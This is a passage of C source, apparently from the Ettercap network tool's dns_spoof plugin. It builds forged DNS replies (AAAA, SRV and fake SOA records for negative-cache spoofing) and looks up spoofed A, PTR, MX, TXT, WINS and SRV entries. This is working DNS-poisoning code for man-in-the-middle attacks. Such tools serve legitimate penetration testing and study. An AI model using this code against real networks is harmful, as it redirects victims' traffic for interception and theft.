982 memcpy(p + 6, "\x00\x1c", 2); /* type AAAA */
983 memcpy(p + 8, "\x00\x01", 2); /* class */
984 memcpy(p + 10, &dns_ttl, 4); /* TTL */
985 memcpy(p + 14, "\x00\x10", 2); /* datalen */
986 ip_addr_cpy(p + 16, reply); /* data */
987 }
988 else {
989 /* IP address not valid - abort */
990 return -E_INVALID;
991 }
992
993 /* insert the answer into the list */
994 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
995 rr->data = answer;
996 rr->size = len;
997 SLIST_INSERT_HEAD(&additional_list, rr, next);
998 *dns_len += len;
999 *n_addi += 1;
1000
1001 USER_MSG("dns_spoof: %s [%s] spoofed to [%s:%d] TTL [%u s]\n",
1002 type_str(type), name, ip_addr_ntoa(reply, tmp), port, ttl);
1003 } /* SRV */
1004
1005 if (is_negative && type != ns_t_any) {
1006
1007 /* allocate memory for authorative answer */
1008 len = 46;
1009 SAFE_CALLOC(answer, len, sizeof(u_char));
1010 p = answer;
1011
1012 /* convert to network-byte order */
1013 dns_ttl = htonl(ttl);
1014
1015 /* prepare the authorative record */
1016 memcpy(p, "\xc0\x0c", 2); /* compressed named offset */
1017 memcpy(p + 2, "\x00\x06", 2); /* type SOA */
1018 memcpy(p + 4, "\x00\x01", 2); /* class */
1019 memcpy(p + 6, &dns_ttl, 4); /* TTL (seconds) */
1020 memcpy(p + 10, "\x00\x22", 2); /* datalen */
1021 memcpy(p + 12, "\x03ns1", 4); /* primary server */
1022 memcpy(p + 16, "\xc0\x0c", 2); /* compressed name offeset */
1023 memcpy(p + 18, "\x05""abuse", 6); /* mailbox */
1024 memcpy(p + 24, "\xc0\x0c", 2); /* compressed name offset */
1025 memcpy(p + 26, "\x51\x79\x57\xf5", 4); /* serial */
1026 memcpy(p + 30, "\x00\x00\x0e\x10", 4); /* refresh interval */
1027 memcpy(p + 34, "\x00\x00\x02\x58", 4); /* retry interval */
1028 memcpy(p + 38, "\x00\x09\x3a\x80", 4); /* erpire limit */
1029 memcpy(p + 42, "\x00\x00\x00\x3c", 4); /* minimum TTL */
1030
1031 /* insert the answer into the list */
1032 SAFE_CALLOC(rr, 1, sizeof(struct rr_entry));
1033 rr->data = answer;
1034 rr->size = len;
1035 SLIST_INSERT_HEAD(&authority_list, rr, next);
1036 *dns_len += len;
1037 *n_auth += 1;
1038
1039 USER_MSG("dns_spoof: negative cache spoofed for [%s] type %s, TTL [%u s]\n", name, type_str(type), ttl);
1040 } /* SOA */
1041
1042 exit:
1043
1044 return E_SUCCESS;
1045 }
1046
1047
1048 /*
1049 * return the ip address for the name - IPv4
1050 */
get_spoofed_a(const char * a,struct ip_addr ** ip,u_int32 * ttl)1051 static int get_spoofed_a(const char *a, struct ip_addr **ip, u_int32 *ttl)
1052 {
1053 struct dns_spoof_entry *d;
1054
1055 SLIST_FOREACH(d, &dns_spoof_head, next) {
1056 if (d->type == ns_t_a && match_pattern(a, d->name)) {
1057
1058 /* return the pointer to the struct */
1059 *ip = &d->ip;
1060 *ttl = d->ttl;
1061
1062 return E_SUCCESS;
1063 }
1064 }
1065
1066 return -E_NOTFOUND;
1067 }
1068
1069 /*
1070 * return the ip address for the name - IPv6
1071 */
get_spoofed_aaaa(const char * a,struct ip_addr ** ip,u_int32 * ttl)1072 static int get_spoofed_aaaa(const char *a, struct ip_addr **ip, u_int32 *ttl)
1073 {
1074 struct dns_spoof_entry *d;
1075
1076 SLIST_FOREACH(d, &dns_spoof_head, next) {
1077 if (d->type == ns_t_aaaa && match_pattern(a, d->name)) {
1078 /* return the pointer to the struct */
1079 *ip = &d->ip;
1080 *ttl = d->ttl;
1081
1082 return E_SUCCESS;
1083 }
1084 }
1085
1086 return -E_NOTFOUND;
1087 }
1088
1089 /*
1090 * return the TXT string for the name
1091 */
get_spoofed_txt(const char * name,char ** txt,u_int32 * ttl)1092 static int get_spoofed_txt(const char *name, char **txt, u_int32 *ttl)
1093 {
1094 struct dns_spoof_entry *d;
1095
1096 SLIST_FOREACH(d, &dns_spoof_head, next) {
1097 if (d->type == ns_t_txt && match_pattern(name, d->name)) {
1098 /* return the pointer to the string */
1099 *txt = d->text;
1100 *ttl = d->ttl;
1101
1102 return E_SUCCESS;
1103 }
1104 }
1105
1106 return -E_NOTFOUND;
1107 }
1108
1109 /*
1110 * return the name for the ip address
1111 */
get_spoofed_ptr(const char * arpa,char ** a,u_int32 * ttl)1112 static int get_spoofed_ptr(const char *arpa, char **a, u_int32 *ttl)
1113 {
1114 struct dns_spoof_entry *d;
1115 struct ip_addr ptr;
1116 unsigned int oct[32];
1117 int len, v4len, v6len;
1118 u_char ipv4[4];
1119 u_char ipv6[16];
1120 char v4tld[] = "in-addr.arpa";
1121 char v6tld[] = "ip6.arpa";
1122
1123 len = strlen(arpa);
1124 v4len = strlen(v4tld);
1125 v6len = strlen(v6tld);
1126
1127 /* Check the top level domain of the PTR query - IPv4 */
1128 if (strncmp(arpa + len - v4len, v4tld, v4len) == 0) {
1129
1130 /* parses the arpa format */
1131 if (sscanf(arpa, "%d.%d.%d.%d.in-addr.arpa",
1132 &oct[3], &oct[2], &oct[1], &oct[0]) != 4)
1133 return -E_INVALID;
1134
1135 /* collect octets */
1136 ipv4[0] = oct[0] & 0xff;
1137 ipv4[1] = oct[1] & 0xff;
1138 ipv4[2] = oct[2] & 0xff;
1139 ipv4[3] = oct[3] & 0xff;
1140
1141
1142 /* init the ip_addr structure */
1143 ip_addr_init(&ptr, AF_INET, ipv4);
1144
1145 }
1146 /* check the top level domain of the PTR query - IPv6 */
1147 else if (strncmp(arpa + len - v6len, v6tld, v6len) == 0) {
1148 /* parses the ip6.arpa format for IPv6 reverse pointer */
1149 if (sscanf(arpa, "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
1150 "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
1151 "%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x.%1x."
1152 "%1x.%1x.%1x.%1x.%1x.ip6.arpa",
1153 &oct[31], &oct[30], &oct[29], &oct[28],
1154 &oct[27], &oct[26], &oct[25], &oct[24],
1155 &oct[23], &oct[22], &oct[21], &oct[20],
1156 &oct[19], &oct[18], &oct[17], &oct[16],
1157 &oct[15], &oct[14], &oct[13], &oct[12],
1158 &oct[11], &oct[10], &oct[9], &oct[8],
1159 &oct[7], &oct[6], &oct[5], &oct[4],
1160 &oct[3], &oct[2], &oct[1], &oct[0]) != 32) {
1161 return -E_INVALID;
1162 }
1163
1164 /* collect octets */
1165 ipv6[0] = (oct[0] << 4) | oct[1];
1166 ipv6[1] = (oct[2] << 4) | oct[3];
1167 ipv6[2] = (oct[4] << 4) | oct[5];
1168 ipv6[3] = (oct[6] << 4) | oct[7];
1169 ipv6[4] = (oct[8] << 4) | oct[9];
1170 ipv6[5] = (oct[10] << 4) | oct[11];
1171 ipv6[6] = (oct[12] << 4) | oct[13];
1172 ipv6[7] = (oct[14] << 4) | oct[15];
1173 ipv6[8] = (oct[16] << 4) | oct[17];
1174 ipv6[9] = (oct[18] << 4) | oct[19];
1175 ipv6[10] = (oct[20] << 4) | oct[21];
1176 ipv6[11] = (oct[22] << 4) | oct[23];
1177 ipv6[12] = (oct[24] << 4) | oct[25];
1178 ipv6[13] = (oct[26] << 4) | oct[27];
1179 ipv6[14] = (oct[28] << 4) | oct[29];
1180 ipv6[15] = (oct[30] << 4) | oct[31];
1181
1182 /* init the ip_addr structure */
1183 ip_addr_init(&ptr, AF_INET6, ipv6);
1184
1185 }
1186
1187
1188 /* search in the list */
1189 SLIST_FOREACH(d, &dns_spoof_head, next) {
1190 /*
1191 * we cannot return whildcards in the reply,
1192 * so skip the entry if the name contains a '*'
1193 */
1194 if (d->type == ns_t_ptr && !ip_addr_cmp(&ptr, &d->ip)) {
1195
1196 /* return the pointer to the name */
1197 *a = d->name;
1198 *ttl = d->ttl;
1199
1200 return E_SUCCESS;
1201 }
1202 }
1203
1204 return -E_NOTFOUND;
1205 }
1206
1207 /*
1208 * return the ip address for the name (MX records)
1209 */
get_spoofed_mx(const char * a,struct ip_addr ** ip,u_int32 * ttl)1210 static int get_spoofed_mx(const char *a, struct ip_addr **ip, u_int32 *ttl)
1211 {
1212 struct dns_spoof_entry *d;
1213
1214 SLIST_FOREACH(d, &dns_spoof_head, next) {
1215 if (d->type == ns_t_mx && match_pattern(a, d->name)) {
1216
1217 /* return the pointer to the struct */
1218 *ip = &d->ip;
1219 *ttl = d->ttl;
1220
1221 return E_SUCCESS;
1222 }
1223 }
1224
1225 return -E_NOTFOUND;
1226 }
1227
1228 /*
1229 * return the ip address for the name (NetBIOS WINS records)
1230 */
get_spoofed_wins(const char * a,struct ip_addr ** ip,u_int32 * ttl)1231 static int get_spoofed_wins(const char *a, struct ip_addr **ip, u_int32 *ttl)
1232 {
1233 struct dns_spoof_entry *d;
1234
1235 SLIST_FOREACH(d, &dns_spoof_head, next) {
1236 if (d->type == ns_t_wins && match_pattern(a, d->name)) {
1237
1238 /* return the pointer to the struct */
1239 *ip = &d->ip;
1240 *ttl = d->ttl;
1241 return E_SUCCESS;
1242 }
1243 }
1244
1245 return -E_NOTFOUND;
1246 }
1247
1248 /*
1249 * return the target for the SRV request
1250 */
get_spoofed_srv(const char * name,struct ip_addr ** ip,u_int16 * port,u_int32 * ttl)1251 static int get_spoofed_srv(const char *name, struct ip_addr **ip, u_int16 *port, u_int32 *ttl)
1252 {
1253 struct dns_spoof_entry *d;
1254
1255 SLIST_FOREACH(d, &dns_spoof_head, next) {
1256 if (d->type == ns_t_srv && match_pattern(name, d->name)) {
1257 /* return the pointer to the struct */
1258 *ip = &d->ip;
1259 *port = d->port;
1260 *ttl = d->ttl;
1261
1262 return E_SUCCESS;
1263 }
1264 }
1265
1266 return -E_NOTFOUND;
1267 }
1268
type_str(int type)1269 char *type_str (int type)
1270 {
1271 return (type == ns_t_a ? "A" :
1272 type == ns_t_aaaa ? "AAAA" :
1273 type == ns_t_ptr ? "PTR" :
1274 type == ns_t_mx ? "MX" :
1275 type == ns_t_wins ? "WINS" :
1276 type == ns_t_srv ? "SRV" :
1277 type == ns_t_any ? "ANY" :
1278 type == ns_t_txt ? "TXT" : "??");
1279 }
1280
dns_spoof_dump(void)1281 static void dns_spoof_dump(void)
1282 {
1283 struct dns_spoof_entry *d;
1284 char tmp[MAX_ASCII_ADDR_LEN];
1285
1286 /* Unused variable */
1287 (void) tmp;
1288
1289 DEBUG_MSG("dns_spoof entries:");
1290 SLIST_FOREACH(d, &dns_spoof_head, next) {
1291 if (d->type == ns_t_txt) {
1292 DEBUG_MSG(" %s -> \"%s\", type %s, TTL %u", d->name, d->text, type_str(d->type), d->ttl);
1293 }
1294 else if (ntohs(d->ip.addr_type) == AF_INET)
1295 {
1296 if (d->type == ns_t_srv) {
1297 DEBUG_MSG(" %s -> [%s:%d], type %s, TTL %u, family IPv4",
1298 d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl);
1299 }
1300 else {
1301 DEBUG_MSG(" %s -> [%s], type %s, TTL %u, family IPv4",
1302 d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl);
1303 }
1304 }
1305 else if (ntohs(d->ip.addr_type) == AF_INET6)
1306 {
1307 if (d->type == ns_t_srv) {
1308 DEBUG_MSG(" %s -> [%s:%d], type %s, TTL %u, family IPv6",
1309 d->name, ip_addr_ntoa(&d->ip, tmp), d->port, type_str(d->type), d->ttl);
1310 }
1311 else {
1312 DEBUG_MSG(" %s -> [%s], type %s, TTL %u, family IPv6",
1313 d->name, ip_addr_ntoa(&d->ip, tmp), type_str(d->type), d->ttl);
1314 }
1315 }
1316 else
1317 {
1318 DEBUG_MSG(" %s -> ??", d->name);
1319 }
1320 }
1321 }
1322
1323 /* EOF */
1324
1325 // vim:ts=3:expandtab
1326
1327